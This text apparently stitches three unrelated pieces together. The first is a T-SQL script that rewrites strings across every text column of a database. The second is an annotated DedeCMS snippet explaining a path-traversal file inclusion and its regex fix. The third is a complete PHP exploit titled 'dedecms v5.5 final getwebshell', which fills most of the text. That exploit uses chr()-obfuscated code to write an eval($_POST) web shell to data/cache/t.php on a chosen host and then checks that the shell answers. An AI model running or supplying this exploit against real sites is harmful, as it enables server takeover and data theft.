declare @Str1 varchar(8000)
SET @Str1='参数1'
declare @Str2 varchar(8000)
SET @Str2='参数2'
 
 
SET nocount ON
 
 
declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)
 
 
SET @iResult=0
declare cur cursor FOR
SELECT name,id FROM sysobjects WHERE xtype='U'
 
 
open cur
fetch next FROM cur INTO @tableName,@tbID
 
 
while @@fetch_status=0
begin
declare cur1 cursor FOR
        --xtype in (231,167,239,175,99) 为char,varchar,nchar,nvarchar,ntext类型
        SELECT name FROM syscolumns WHERE xtype IN (231,167,239,175,99) AND id=@tbID
open cur1
fetch next FROM cur1 INTO @columnName
while @@fetch_status=0
begin
      SET @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@Str1+''','''+@Str2+''') where ['+@columnName+'] like ''%'+@Str1+'%''' 
      --update tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,'aa','bb')这样的语句。
      exec sp_executesql @sql     
      SET @iRow=@@rowcount
      SET @iResult=@iResult+@iRow
      IF @iRow>0
      begin
print '表：'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
      end     
      fetch next FROM cur1 INTO @columnName
 
 
 
end
close cur1
deallocate cur1
 
 
fetch next FROM cur INTO @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'
 
 
close cur
deallocate cur
SET nocount off

...
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
//通过isset函数检查$needCode是否已配置，如已配置则结果为$needCode，否则结果为$cfg_soft_lang
//当我们伪造结果为aa/../../../data/mysql_error_trace时
 
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 //后缀是.inc
}
//检查文件是否存在，存在则包含。我们通过../成功跳转到到data目录，包含我们刚才构造过的mysql_error_trace.inc
//成功运行我们mysql_error_trace.inc在构造的语句。。。
...

$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
$codefile = preg_replace("/[\w-]/", '', $codefile);
 //通过正则过滤了。。。
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 
}

<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>